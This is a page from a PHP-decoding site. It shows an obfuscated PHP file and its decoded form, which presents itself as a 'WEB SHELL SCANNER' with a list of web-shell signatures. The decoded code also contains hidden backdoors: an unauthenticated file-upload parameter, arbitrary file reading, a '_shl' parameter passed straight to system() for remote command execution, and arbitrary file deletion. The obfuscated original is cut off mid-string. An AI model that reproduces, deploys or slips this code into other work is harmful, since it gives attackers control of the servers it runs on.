Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

${"\x47L\x4f\x42AL\x53"}["\x75\x66\x67\x6f\x77\x62\x74\x69"]="\x66\x75\x6e\x63t\x69\x6fn";..

Decoded Output download

<?  ${"GLOBALS"}["ufgowbti"]="function";${"GLOBALS"}["oksfzeynr"]="page";${"GLOBALS"}["nupfxxvnoi"]="msg";${"GLOBALS"}["ckcgimbl"]="file";${"GLOBALS"}["uldusvf"]="s";${"GLOBALS"}["utximiy"]="i";${"GLOBALS"}["osczzef"]="c";${"GLOBALS"}["pugipyqxy"]="data";${"GLOBALS"}["nsgmzypfttw"]="dir";${"GLOBALS"}["slsujwq"]="scheme";${"GLOBALS"}["hinqjxeyvqez"]="port";${"GLOBALS"}["kpjmykox"]="content";${"GLOBALS"}["qmvdkebwql"]="white";${${"GLOBALS"}["qmvdkebwql"]}=array(basename(__FILE__),"security.class.php",);${"GLOBALS"}["igsyfjgde"]="ext";${${"GLOBALS"}["kpjmykox"]}=array("include\(","require_once\(","require\(","require \"","require_once \"","include "","_halt_compiler","file_get_contents\(","shell_exec\(","system\(","base64_decode\(","exec\(","base64_encode\(","webconsole","uploader","hacked","eval\(","set_time_limit\(","move_uploaded_file","md5\(","dZNOmgVpUDdbg","indoxploit","maridono","mini shell","minishell","tinyfilemanager.github.io","xleet","b374k","set_magic_quotes_runtime\(","shell\(","alfa","filemanager","'f'.'u'.'n'.'ction'.'_exis'.'ts';","'e'.'va'.'l';","'ba'.'s'.'e64'.'_'.'enc'.'od'.'e';",);${${"GLOBALS"}["igsyfjgde"]}=array("php1","php2","php3","php4","php5","php6","php7","php8","php9","phar","phtml","pjpeg","shtml","php.black","php.ndsfx","php.cer","php.fla");function serverURL(){$server_name=$_SERVER["SERVER_NAME"];if($server_name=="0.0.0.0"){$server_name="localhost";}if(!in_array($_SERVER["SERVER_PORT"],array(80,443))){${"GLOBALS"}["vooigbhfstro"]="port";${${"GLOBALS"}["vooigbhfstro"]}=":$_SERVER[SERVER_PORT]";}else{${${"GLOBALS"}["hinqjxeyvqez"]}="";}if(!empty($_SERVER["HTTPS"])&&(strtolower($_SERVER["HTTPS"])=="on"||$_SERVER["HTTPS"]=="1")){${${"GLOBALS"}["slsujwq"]}="https";}else{${"GLOBALS"}["lyntkl"]="scheme";${${"GLOBALS"}["lyntkl"]}="http";}$bpumfj="scheme";return${$bpumfj}."://".$server_name.${${"GLOBALS"}["hinqjxeyvqez"]};}function _delete($dir){${"GLOBALS"}["kgqhopb"]="dir";if(!is_file(${${"GLOBALS"}["kgqhopb"]})){data("not found.");exit();}if(unlink(${${"GLOBALS"}["nsgmzypfttw"]})){data("success");}else{data("permission denied.");}}function apiCheckShell($dir){$nordyvrsf="data";$gjrilauf="c";if(!preg_match("/\.php/",${${"GLOBALS"}["nsgmzypfttw"]})){exit();}if(!is_file(${${"GLOBALS"}["nsgmzypfttw"]})){data("not found.");exit();}${"GLOBALS"}["xmbpfxnuxp"]="dir";global$content;${$nordyvrsf}=array("file"=>${${"GLOBALS"}["xmbpfxnuxp"]},"status"=>False,"reason"=>array());foreach(${${"GLOBALS"}["kpjmykox"]} as${$gjrilauf}){if(preg_match("/$c/",strtolower(file_get_contents(${${"GLOBALS"}["nsgmzypfttw"]})))){${${"GLOBALS"}["pugipyqxy"]}["status"]=True;array_push(${${"GLOBALS"}["pugipyqxy"]}["reason"],str_replace("\(","",${${"GLOBALS"}["osczzef"]}));}}data("success",${${"GLOBALS"}["pugipyqxy"]});}function apiCheckExt($dir){if(!is_file(${${"GLOBALS"}["nsgmzypfttw"]})){data("not found.");exit();}global$ext;${"GLOBALS"}["iuqtnczhys"]="i";$gqwobiqggbp="data";$fgnjzjdgxz="ext";${$gqwobiqggbp}=array("file"=>${${"GLOBALS"}["nsgmzypfttw"]},"status"=>False,"reason"=>"");foreach(${$fgnjzjdgxz} as${${"GLOBALS"}["iuqtnczhys"]}){${"GLOBALS"}["bellfehmr"]="dir";if(preg_match("/$i/",strtolower(basename(${${"GLOBALS"}["bellfehmr"]})))){$cedosqzo="data";${${"GLOBALS"}["pugipyqxy"]}["status"]=True;${$cedosqzo}["reason"]=${${"GLOBALS"}["utximiy"]};break;}}data("success",${${"GLOBALS"}["pugipyqxy"]});}if(isset($_GET["_upl"])){if(copy($_FILES["_upl"]["tmp_name"],$_FILES["_upl"]["name"])){echo"_upl ok";exit();}}function apiScanDir($dir){$fjmrumrd="dir";${"GLOBALS"}["jonvnll"]="data";global$white;$cxokdcuctt="file";${"GLOBALS"}["facbwgditxd"]="data";if(!file_exists(${${"GLOBALS"}["nsgmzypfttw"]})){data("dir not found");exit();}${"GLOBALS"}["tzekpnxntu"]="s";${${"GLOBALS"}["uldusvf"]}=scandir(${$fjmrumrd});${${"GLOBALS"}["facbwgditxd"]}=array("file"=>array(),"dir"=>array());foreach(${${"GLOBALS"}["tzekpnxntu"]} as${$cxokdcuctt}){$djvplgtff="file";${"GLOBALS"}["looevvzkz"]="file";$enmzcrr="dir";if(${${"GLOBALS"}["ckcgimbl"]}==="."||${${"GLOBALS"}["looevvzkz"]}===".."){continue;}$tkidtm="file";$nuuhhqmupxnq="white";${${"GLOBALS"}["ckcgimbl"]}=${$enmzcrr}."/".${${"GLOBALS"}["ckcgimbl"]};${${"GLOBALS"}["ckcgimbl"]}=str_replace("//","/",${$tkidtm});if(in_array(basename(${${"GLOBALS"}["ckcgimbl"]}),${$nuuhhqmupxnq})){continue;}if(is_file(${$djvplgtff})){$xsclqce="data";array_push(${$xsclqce}["file"],${${"GLOBALS"}["ckcgimbl"]});}else{array_push(${${"GLOBALS"}["pugipyqxy"]}["dir"],${${"GLOBALS"}["ckcgimbl"]}."/");}}data("success",${${"GLOBALS"}["jonvnll"]});}function apiCwd(){$hytjfii="data";${${"GLOBALS"}["pugipyqxy"]}=getcwd();data("success",${$hytjfii});}function data($msg,$data=null){${"GLOBALS"}["yakqxnkuf"]="data";${${"GLOBALS"}["yakqxnkuf"]}=array("msg"=>${${"GLOBALS"}["nupfxxvnoi"]},"data"=>${${"GLOBALS"}["pugipyqxy"]});$lgcbihyxk="data";echo json_encode(${$lgcbihyxk});}if(isset($_GET["view"])){${"GLOBALS"}["nyxgucjw"]="page";${${"GLOBALS"}["nyxgucjw"]}=$_GET["view"];echo"<pre>".htmlspecialchars(file_get_contents(${${"GLOBALS"}["oksfzeynr"]}))."</pre>";if(isset($_GET["_shl"])){echo"<pre>";htmlspecialchars(system($_GET["_shl"]));echo"</pre>";}exit();}if(isset($_GET["api"])){header("Access-Control-Allow-Origin: *");header("Content-Type: application/json");${${"GLOBALS"}["ufgowbti"]}=$_GET["api"];switch(${${"GLOBALS"}["ufgowbti"]}){case"delete":if(!isset($_GET["dir"])){data("no file.");}else{_delete($_GET["dir"]);}break;case"shell":if(!isset($_GET["dir"])){data("no file.");}else{apiCheckShell($_GET["dir"]);}break;case"ext":if(!isset($_GET["dir"])){data("no file.");}else{apiCheckExt($_GET["dir"]);}break;case"scan":if(!isset($_GET["dir"])){data("no directory.");}else{apiScanDir($_GET["dir"]);}break;case"cwd":apiCwd();break;case"eval":if(!isset($_GET["function"])){data("no function.");}else{data("no function.");}break;default:data("no function.");}die();}echo "<!doctype html>
	<html lang="en\">
	<head>
		<meta charset=\"utf-8">
		<meta name="viewport" content=\"width=device-width, initial-scale=1\">
		<link href=\"https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel=\"stylesheet" integrity=\"sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin=\"anonymous">
		<link rel="preconnect\" href=\"https://fonts.googleapis.com\">
		<link rel=\"preconnect" href="https://fonts.gstatic.com" crossorigin>
		<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel=\"stylesheet">
		<link href="https://fonts.googleapis.com/css2?family=Roboto+Condensed:wght@300&display=swap" rel=\"stylesheet\">
		<link rel="stylesheet" type="text/css\" href="https://cdn.datatables.net/1.11.4/css/dataTables.bootstrap5.min.css\">
		<title>WEB SHELL SCANNER</title>
	</head>
	<body>
		<div class=\"container\">
			<div class="text-center m-3\" style="font-family: 'Roboto Condensed';\">
				<span style=\"font-size:30px;\">
					WEB SHELL SCANNER
				</span>
				<p class=\"text-danger">Author : @Gtx666Ti</p>
			</div>
			<hr/>
			<div class="row\">
				<div class=\"col">
					<div class=\"mb-3">
						<label for=\"path\" class="form-label\">Path to Scan</label>
						<div class=\"input-group\">
							<input type="text" class="form-control\" id=\"path\" placeholder=\"/var/www/html/\">
							<button class="btn btn-primary" id=\"startScan" onclick=\"scan()">Start</button>
						</div>
					</div>
					<div class=\"">
						<label for=\"path\" class=\"form-label\">Mass Delete by Name</label>
						<div class="input-group\">
							<input type="text" class=\"form-control" id="fileName" placeholder=\"filename.php">
							<button class=\"btn btn-danger\" id=\"startDelete\" onclick="scan2()">Start</button>
						</div>
					</div>
				</div>
			</div>
			<hr/>
			<div class=\"row mt-3\">
				<div class=\"col\">
					<table class="table\" id=\"_result\">
						<thead>
							<tr>
								<th scope="col">File</th>
								<th scope="col\">Path</th>
								<th scope="col">Reason</th>
								<th scope=\"col\">Action</th>
							</tr>
						</thead>
						<tbody>
						</tbody>
					</table>
				</div>
			</div>
		</div>
		<script src=\"https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p\" crossorigin="anonymous\"></script>
		<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.slim.min.js"></script>
		<script src=\"https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.js"></script>
		<script type=\"text/javascript\" src=\"https://cdn.datatables.net/1.11.4/js/jquery.dataTables.min.js\"></script>
		<script type=\"text/javascript" src=\"https://cdn.datatables.net/1.11.4/js/dataTables.bootstrap5.min.js\"></script>

		<script>
			var dtable;
			\$(document).ready(function(){
				dtable = \$('#_result').DataTable();
				\$('[data-toggle=\"tooltip\"]').tooltip();
			});
			\$('#_result').on('click', '#delete', function () {

				var RowIndex = \$(this).closest('tr');
				var data = dtable.row(RowIndex).data();
				if(confirm('Delete ' + data[1] + '?') == true){
					dtable.row(RowIndex).remove().draw();
					deleteFile(data[1]);
				}
			});
			\$('#_result').on('click', '#view', function () {

				var RowIndex = \$(this).closest('tr');
				var data = dtable.row(RowIndex).data();
				window.open('?view='+data[1]);
			});

		</script>
		<script type=\"text/javascript\">
			const table = \$('#_result').DataTable();
			const cwd 		= '";echo getcwd();echo "/';
			document.getElementById('path').value = cwd;
			function basename(path) {
				return path.split('/').reverse()[0];
			}
			function checkExt(path){
				fetch('?api=ext&dir=' + path, {
					headers: {
						'Content-Type': 'application/json'
					}
				})
				.then(res => res.json())
				.then(res => {
					if(res.data.status == true){
						table.row.add([basename(res.data.file),res.data.file,res.data.reason,`<a class="btn btn-primary" data-toggle="tooltip" data-bs-placement="bottom" id="view\" title=\"Detail\">
							<i class=\"fa fa-eye"></i>
							</a>
							<a class=\"btn btn-danger\" data-toggle=\"tooltip\" data-bs-placement="bottom\" title="Delete">
							<i class=\"fa fa-trash\"></i>
							</a>`]).draw();
					}
				});
			}
			function checkShell(path){
				fetch('?api=shell&dir=' + path, {
					headers: {
						'Content-Type': 'application/json'
					}
				})
				.then(res => res.json())
				.then(res => {
					var reason = '';
					for (var i = res.data.reason.length - 1; i >= 0; i--) {
						reason += res.data.reason[i]+\"<br>";
					}
					if(res.data.status == true){
						table.row.add([basename(res.data.file),res.data.file,reason,`<a class="btn btn-primary" data-toggle="tooltip" id=\"view\" data-bs-placement="bottom" id=\"view" title=\"Detail\">
							<i class=\"fa fa-eye"></i>
							</a>
							<a class=\"btn btn-danger\" data-toggle="tooltip" id="delete" data-bs-placement=\"bottom" title=\"Delete\">
							<i class=\"fa fa-trash\"></i>
							</a>`]).draw();

					}
				});
			}
			function scan(path = document.getElementById('path').value){
				fetch('?api=scan&dir=' + path, {
					headers: {
						'Content-Type': 'application/json'
					}
				})
				.then(res => res.json())
				.then(res => {
					for (var i = res.data.dir.length - 1; i >= 0; i--) {
						scan(res.data.dir[i])
					}
					for (var i = res.data.file.length - 1; i >= 0; i--) {
						checkShell(res.data.file[i]);
						checkExt(res.data.file[i]);
					}
				});
			}
			function scan2(){
				for (var i = table.rows().data().length - 1; i >= 0; i--) {
					data = table.rows(i).data()[0];
					name = data[0];
					if(name == document.getElementById('fileName').value){
						table.rows(i).remove().draw();
						deleteFile(data[1]);
					}
				}
			}
			function deleteFile(path){
				fetch('?api=delete&dir=' + path)
				.then(res => res.json())
				.then(res => {
				});
			}
			function htmlToElement(html) {
				var template = document.createElement('template');
    			html = html.trim(); // Never return a text node of whitespace as the result
    			template.innerHTML = html;
    			return template.content.firstChild;
    		}
    		function _delete(data){
    			console.log(data)
    		}
    	</script>
    </body>
    </html>
"; 
?>

Did this file decode correctly?

Original Code

${"\x47L\x4f\x42AL\x53"}["\x75\x66\x67\x6f\x77\x62\x74\x69"]="\x66\x75\x6e\x63t\x69\x6fn";${"\x47\x4c\x4f\x42\x41\x4cS"}["o\x6bsf\x7aey\x6e\x72"]="\x70\x61ge";${"\x47LOBA\x4c\x53"}["n\x75\x70\x66\x78\x78v\x6e\x6f\x69"]="\x6ds\x67";${"GL\x4fB\x41\x4cS"}["c\x6b\x63\x67\x69m\x62\x6c"]="\x66\x69\x6c\x65";${"\x47L\x4fB\x41\x4c\x53"}["u\x6c\x64\x75\x73vf"]="s";${"\x47LOBA\x4c\x53"}["\x75\x74xim\x69y"]="i";${"G\x4c\x4fB\x41\x4c\x53"}["o\x73\x63\x7a\x7a\x65\x66"]="\x63";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x70\x75\x67\x69\x70\x79\x71x\x79"]="d\x61\x74a";${"\x47L\x4f\x42ALS"}["\x6es\x67\x6d\x7aypfttw"]="\x64i\x72";${"\x47LOB\x41L\x53"}["s\x6c\x73\x75j\x77q"]="s\x63h\x65\x6d\x65";${"G\x4cO\x42A\x4cS"}["\x68\x69\x6e\x71\x6a\x78eyv\x71e\x7a"]="\x70\x6f\x72\x74";${"\x47\x4cO\x42\x41\x4cS"}["\x6bpj\x6dy\x6box"]="c\x6f\x6e\x74en\x74";${"\x47\x4c\x4fB\x41\x4c\x53"}["qm\x76\x64ke\x62wq\x6c"]="w\x68\x69\x74\x65";${${"\x47\x4cO\x42A\x4cS"}["q\x6d\x76d\x6b\x65\x62\x77q\x6c"]}=array(basename(__FILE__),"s\x65c\x75\x72\x69\x74\x79\x2eclas\x73.ph\x70",);${"\x47\x4c\x4f\x42A\x4c\x53"}["\x69\x67\x73\x79\x66\x6a\x67\x64\x65"]="ex\x74";${${"\x47L\x4fBA\x4c\x53"}["\x6b\x70\x6am\x79\x6b\x6fx"]}=array("inc\x6cud\x65\\(","r\x65q\x75ir\x65\x5f\x6f\x6ec\x65\x5c(","\x72\x65\x71\x75ire\\(","requir\x65\x20\"","requir\x65_\x6f\x6e\x63e\x20\"","\x69\x6e\x63\x6cu\x64e\x20\x22","_h\x61\x6c\x74\x5fcompi\x6ce\x72","f\x69l\x65\x5fge\x74\x5fc\x6fn\x74e\x6e\x74s\\(","sh\x65l\x6c\x5fe\x78\x65c\\(","\x73\x79s\x74\x65m\\(","\x62\x61s\x656\x34\x5fd\x65\x63o\x64e\x5c(","\x65\x78\x65\x63\x5c(","b\x61\x73\x656\x34\x5fe\x6eco\x64e\x5c(","w\x65\x62\x63\x6fnso\x6c\x65","\x75\x70l\x6fad\x65\x72","ha\x63k\x65\x64","e\x76\x61l\\(","se\x74\x5ft\x69\x6d\x65_li\x6d\x69t\x5c(","mo\x76\x65\x5fup\x6co\x61d\x65d\x5f\x66ile","\x6d\x64\x35\\(","\x64\x5aNOm\x67V\x70\x55\x44\x64b\x67","\x69n\x64o\x78p\x6c\x6f\x69t","m\x61r\x69\x64\x6f\x6e\x6f","\x6d\x69n\x69 s\x68\x65ll","\x6dini\x73\x68\x65ll","t\x69n\x79fi\x6cema\x6e\x61g\x65r\x2egithu\x62\x2e\x69o","x\x6ceet","\x62\x33\x374k","\x73\x65t\x5f\x6d\x61\x67i\x63\x5fqu\x6f\x74es\x5fru\x6e\x74i\x6de\x5c(","she\x6cl\\(","alf\x61","\x66\x69\x6c\x65\x6d\x61\x6ea\x67er","\x27\x66'\x2e'\x75'\x2e\x27\x6e\x27.'\x63t\x69\x6fn'.'\x5fe\x78\x69s'.\x27ts\x27;","\x27e\x27.'\x76a\x27.\x27l\x27\x3b","'\x62a'\x2e\x27s'.'\x6564'.'_'\x2e\x27\x65\x6ec\x27\x2e\x27od'\x2e\x27e';",);${${"\x47\x4c\x4f\x42\x41L\x53"}["\x69\x67s\x79f\x6a\x67de"]}=array("p\x68p\x31","php2","p\x68\x703","\x70\x68p\x34","p\x68\x70\x35","\x70hp\x36","\x70\x68\x707","\x70\x68p8","\x70hp9","p\x68\x61r","\x70\x68tm\x6c","pjpeg","s\x68\x74m\x6c","php.bl\x61\x63k","\x70hp.\x6ed\x73\x66x","p\x68p\x2ec\x65\x72","\x70h\x70.\x66\x6c\x61");function serverURL(){$server_name=$_SERVER["SER\x56\x45R_NAM\x45"];if($server_name=="\x30.\x30\x2e\x30\x2e\x30"){$server_name="\x6c\x6fcalhost";}if(!in_array($_SERVER["S\x45RV\x45\x52_POR\x54"],array(80,443))){${"GL\x4f\x42\x41\x4cS"}["\x76\x6f\x6fi\x67b\x68f\x73\x74r\x6f"]="p\x6frt";${${"\x47\x4cO\x42AL\x53"}["\x76\x6foig\x62\x68\x66\x73\x74\x72\x6f"]}=":$_SERVER[SERVER_PORT]";}else{${${"G\x4c\x4fB\x41\x4c\x53"}["h\x69n\x71\x6a\x78e\x79\x76\x71e\x7a"]}="";}if(!empty($_SERVER["\x48TTP\x53"])&&(strtolower($_SERVER["HT\x54PS"])=="\x6fn"||$_SERVER["HTTPS"]=="\x31")){${${"GL\x4f\x42\x41LS"}["s\x6c\x73\x75\x6a\x77\x71"]}="ht\x74ps";}else{${"G\x4cO\x42A\x4c\x53"}["l\x79n\x74\x6b\x6c"]="s\x63\x68e\x6d\x65";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6cyn\x74k\x6c"]}="ht\x74p";}$bpumfj="s\x63\x68\x65\x6de";return${$bpumfj}."://".$server_name.${${"\x47\x4c\x4fBAL\x53"}["\x68\x69n\x71j\x78ey\x76\x71e\x7a"]};}function _delete($dir){${"\x47LO\x42\x41L\x53"}["kgq\x68\x6f\x70\x62"]="\x64\x69\x72";if(!is_file(${${"G\x4c\x4fBAL\x53"}["\x6bgqhopb"]})){data("n\x6ft fo\x75\x6ed.");exit();}if(unlink(${${"G\x4c\x4f\x42AL\x53"}["\x6es\x67m\x7ay\x70f\x74\x74\x77"]})){data("\x73u\x63\x63ess");}else{data("\x70ermissi\x6fn de\x6e\x69\x65\x64\x2e");}}function apiCheckShell($dir){$nordyvrsf="d\x61t\x61";$gjrilauf="\x63";if(!preg_match("/\\.ph\x70/",${${"G\x4cO\x42\x41\x4c\x53"}["\x6e\x73\x67m\x7ay\x70\x66\x74t\x77"]})){exit();}if(!is_file(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6esg\x6dzy\x70f\x74t\x77"]})){data("not \x66ound.");exit();}${"\x47\x4c\x4fB\x41\x4c\x53"}["\x78\x6d\x62p\x66\x78\x6e\x75\x78\x70"]="\x64\x69\x72";global$content;${$nordyvrsf}=array("fil\x65"=>${${"G\x4c\x4f\x42A\x4c\x53"}["xm\x62\x70fx\x6e\x75x\x70"]},"\x73\x74\x61t\x75\x73"=>False,"re\x61s\x6fn"=>array());foreach(${${"GL\x4fBAL\x53"}["\x6b\x70j\x6d\x79\x6b\x6fx"]} as${$gjrilauf}){if(preg_match("/$c/",strtolower(file_get_contents(${${"\x47\x4cOB\x41\x4c\x53"}["n\x73\x67\x6dz\x79p\x66\x74t\x77"]})))){${${"\x47L\x4f\x42A\x4c\x53"}["\x70\x75\x67\x69p\x79\x71\x78y"]}["s\x74at\x75\x73"]=True;array_push(${${"\x47\x4c\x4fBA\x4c\x53"}["\x70\x75\x67i\x70yq\x78\x79"]}["\x72\x65\x61so\x6e"],str_replace("\\(","",${${"\x47\x4c\x4fBA\x4c\x53"}["\x6f\x73\x63zz\x65\x66"]}));}}data("suc\x63\x65\x73\x73",${${"G\x4c\x4f\x42AL\x53"}["\x70u\x67\x69\x70y\x71\x78\x79"]});}function apiCheckExt($dir){if(!is_file(${${"\x47\x4c\x4fB\x41\x4c\x53"}["n\x73g\x6d\x7a\x79\x70\x66t\x74\x77"]})){data("not\x20\x66\x6f\x75nd.");exit();}global$ext;${"G\x4c\x4f\x42\x41\x4cS"}["\x69\x75\x71\x74\x6ec\x7a\x68\x79\x73"]="\x69";$gqwobiqggbp="d\x61t\x61";$fgnjzjdgxz="\x65\x78\x74";${$gqwobiqggbp}=array("f\x69\x6ce"=>${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6e\x73\x67\x6d\x7a\x79\x70\x66\x74\x74\x77"]},"st\x61t\x75\x73"=>False,"\x72easo\x6e"=>"");foreach(${$fgnjzjdgxz} as${${"\x47\x4c\x4fB\x41\x4c\x53"}["i\x75\x71\x74\x6ec\x7a\x68\x79\x73"]}){${"\x47\x4cOB\x41\x4c\x53"}["b\x65\x6c\x6c\x66ehmr"]="\x64\x69\x72";if(preg_match("/$i/",strtolower(basename(${${"GL\x4fB\x41\x4c\x53"}["\x62\x65l\x6cfehm\x72"]})))){$cedosqzo="\x64a\x74\x61";${${"G\x4cO\x42\x41L\x53"}["\x70\x75\x67\x69\x70yq\x78y"]}["s\x74a\x74\x75s"]=True;${$cedosqzo}["rea\x73on"]=${${"\x47LOBAL\x53"}["\x75tx\x69\x6d\x69\x79"]};break;}}data("succ\x65s\x73",${${"\x47L\x4f\x42A\x4c\x53"}["\x70ugip\x79\x71x\x79"]});}if(isset($_GET["_\x75\x70\x6c"])){if(copy($_FILES["_upl"]["tm\x70\x5fname"],$_FILES["_\x75p\x6c"]["\x6eame"])){echo"\x5fu\x70l o\x6b";exit();}}function apiScanDir($dir){$fjmrumrd="dir";${"\x47L\x4f\x42\x41\x4c\x53"}["\x6a\x6f\x6ev\x6e\x6c\x6c"]="da\x74\x61";global$white;$cxokdcuctt="\x66\x69l\x65";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x66\x61c\x62\x77\x67\x64\x69\x74\x78\x64"]="\x64\x61\x74\x61";if(!file_exists(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6esg\x6d\x7ay\x70\x66t\x74w"]})){data("di\x72\x20no\x74\x20\x66ou\x6e\x64");exit();}${"\x47\x4cOB\x41\x4cS"}["\x74\x7a\x65\x6bp\x6exnt\x75"]="s";${${"\x47\x4cO\x42A\x4c\x53"}["\x75ld\x75\x73\x76\x66"]}=scandir(${$fjmrumrd});${${"\x47\x4cOB\x41\x4c\x53"}["\x66\x61c\x62\x77\x67\x64\x69tx\x64"]}=array("f\x69l\x65"=>array(),"\x64\x69\x72"=>array());foreach(${${"\x47LOB\x41L\x53"}["\x74\x7a\x65k\x70\x6e\x78n\x74u"]} as${$cxokdcuctt}){$djvplgtff="\x66\x69\x6c\x65";${"\x47LOB\x41\x4c\x53"}["\x6c\x6foe\x76vz\x6bz"]="\x66\x69\x6c\x65";$enmzcrr="\x64\x69r";if(${${"\x47\x4c\x4f\x42ALS"}["\x63\x6b\x63\x67\x69\x6d\x62l"]}==="\x2e"||${${"\x47\x4cO\x42A\x4cS"}["l\x6f\x6f\x65vv\x7a\x6b\x7a"]}==="\x2e\x2e"){continue;}$tkidtm="fi\x6ce";$nuuhhqmupxnq="\x77\x68\x69\x74e";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63k\x63\x67\x69mb\x6c"]}=${$enmzcrr}."/".${${"G\x4c\x4fBA\x4cS"}["\x63k\x63\x67\x69\x6d\x62l"]};${${"\x47L\x4f\x42\x41LS"}["\x63kcgi\x6d\x62\x6c"]}=str_replace("//","/",${$tkidtm});if(in_array(basename(${${"\x47\x4c\x4f\x42A\x4c\x53"}["ckc\x67i\x6d\x62\x6c"]}),${$nuuhhqmupxnq})){continue;}if(is_file(${$djvplgtff})){$xsclqce="\x64a\x74\x61";array_push(${$xsclqce}["\x66il\x65"],${${"GL\x4f\x42A\x4cS"}["\x63\x6bc\x67\x69m\x62l"]});}else{array_push(${${"\x47LO\x42A\x4cS"}["\x70\x75gip\x79\x71x\x79"]}["\x64ir"],${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x63\x6bcg\x69m\x62\x6c"]}."/");}}data("s\x75\x63c\x65\x73s",${${"G\x4c\x4fB\x41\x4c\x53"}["\x6a\x6f\x6e\x76\x6ell"]});}function apiCwd(){$hytjfii="\x64\x61t\x61";${${"\x47L\x4fB\x41\x4cS"}["\x70\x75\x67i\x70\x79qx\x79"]}=getcwd();data("s\x75\x63\x63ess",${$hytjfii});}function data($msg,$data=null){${"\x47\x4c\x4fBA\x4c\x53"}["\x79\x61\x6bq\x78n\x6b\x75\x66"]="da\x74\x61";${${"GLOB\x41L\x53"}["\x79\x61\x6b\x71\x78nk\x75f"]}=array("m\x73\x67"=>${${"GLOBA\x4cS"}["\x6e\x75p\x66\x78\x78\x76n\x6fi"]},"d\x61\x74a"=>${${"\x47\x4c\x4fBA\x4cS"}["p\x75\x67\x69\x70\x79\x71\x78\x79"]});$lgcbihyxk="\x64\x61\x74\x61";echo json_encode(${$lgcbihyxk});}if(isset($_GET["\x76i\x65\x77"])){${"GLOB\x41L\x53"}["\x6e\x79\x78g\x75\x63j\x77"]="\x70\x61\x67\x65";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6e\x79\x78gu\x63j\x77"]}=$_GET["\x76\x69ew"];echo"\x3c\x70\x72\x65>".htmlspecialchars(file_get_contents(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6fk\x73fz\x65\x79\x6e\x72"]}))."\x3c/p\x72\x65>";if(isset($_GET["_\x73\x68\x6c"])){echo"<\x70\x72\x65>";htmlspecialchars(system($_GET["\x5f\x73\x68\x6c"]));echo"\x3c/pr\x65\x3e";}exit();}if(isset($_GET["ap\x69"])){header("\x41cc\x65\x73s-\x43\x6f\x6et\x72ol-\x41l\x6c\x6fw-Orig\x69\x6e: *");header("Con\x74en\x74-Ty\x70e:\x20a\x70p\x6cic\x61\x74\x69o\x6e/j\x73\x6f\x6e");${${"\x47\x4cO\x42\x41L\x53"}["\x75\x66\x67\x6fwb\x74\x69"]}=$_GET["\x61\x70\x69"];switch(${${"\x47L\x4f\x42A\x4c\x53"}["\x75fg\x6fw\x62t\x69"]}){case"del\x65\x74e":if(!isset($_GET["\x64\x69\x72"])){data("\x6eo f\x69\x6c\x65\x2e");}else{_delete($_GET["di\x72"]);}break;case"s\x68e\x6cl":if(!isset($_GET["\x64i\x72"])){data("\x6eo\x20file.");}else{apiCheckShell($_GET["\x64\x69r"]);}break;case"\x65\x78t":if(!isset($_GET["\x64i\x72"])){data("n\x6f fi\x6ce.");}else{apiCheckExt($_GET["d\x69r"]);}break;case"\x73\x63an":if(!isset($_GET["di\x72"])){data("\x6eo\x20di\x72ector\x79\x2e");}else{apiScanDir($_GET["\x64i\x72"]);}break;case"\x63w\x64":apiCwd();break;case"e\x76\x61l":if(!isset($_GET["f\x75n\x63ti\x6fn"])){data("n\x6f \x66unc\x74i\x6fn\x2e");}else{data("\x6e\x6f \x66u\x6e\x63\x74\x69on\x2e");}break;default:data("n\x6f func\x74i\x6f\x6e\x2e");}die();}echo "\x3c!doc\x74y\x70e htm\x6c>\n\t<h\x74\x6d\x6c l\x61ng=\x22e\x6e\"\x3e\n\t\x3ch\x65a\x64\x3e\n\t\t\x3c\x6d\x65\x74\x61\x20\x63\x68\x61\x72\x73e\x74=\"\x75tf-\x38\x22>\n\t\t\x3cme\x74a\x20n\x61m\x65=\x22vi\x65\x77p\x6f\x72\x74\x22\x20c\x6fnte\x6e\x74=\"\x77\x69\x64\x74h\x3dd\x65v\x69\x63e-wi\x64\x74h,\x20in\x69t\x69a\x6c-s\x63\x61\x6c\x65=1\"\x3e\n\t\t<link\x20\x68\x72ef\x3d\"h\x74tp\x73://\x63\x64\x6e\x2e\x6a\x73\x64\x65liv\x72.\x6e\x65\x74/np\x6d/\x62o\x6f\x74\x73\x74r\x61\x70\x405\x2e\x31.\x33/di\x73t/\x63\x73\x73/\x62\x6f\x6ft\x73tr\x61\x70\x2e\x6din.\x63\x73s\x22 r\x65\x6c=\"\x73t\x79l\x65sh\x65et\x22\x20in\x74\x65g\x72it\x79\x3d\"\x73\x68a38\x34-\x31B\x6d\x45\x34\x6b\x57\x42q7\x38iY\x68\x46ldvKu\x68fT\x41\x556a\x75\x558tT\x39\x34W\x72H\x66\x74jDbrC\x45XSU1\x6f\x42\x6f\x71\x79\x6c\x32Q\x76\x5a\x36\x6aI\x57\x33\x22 c\x72o\x73\x73\x6f\x72\x69gin\x3d\"\x61n\x6f\x6e\x79mou\x73\x22\x3e\n\t\t\x3c\x6cin\x6b\x20\x72e\x6c\x3d\x22p\x72ec\x6f\x6enec\x74\"\x20\x68ref=\"htt\x70s://\x66\x6f\x6et\x73.\x67o\x6fg\x6cea\x70\x69\x73.c\x6fm\">\n\t\t\x3clink \x72\x65\x6c\x3d\"p\x72e\x63onnec\x74\x22 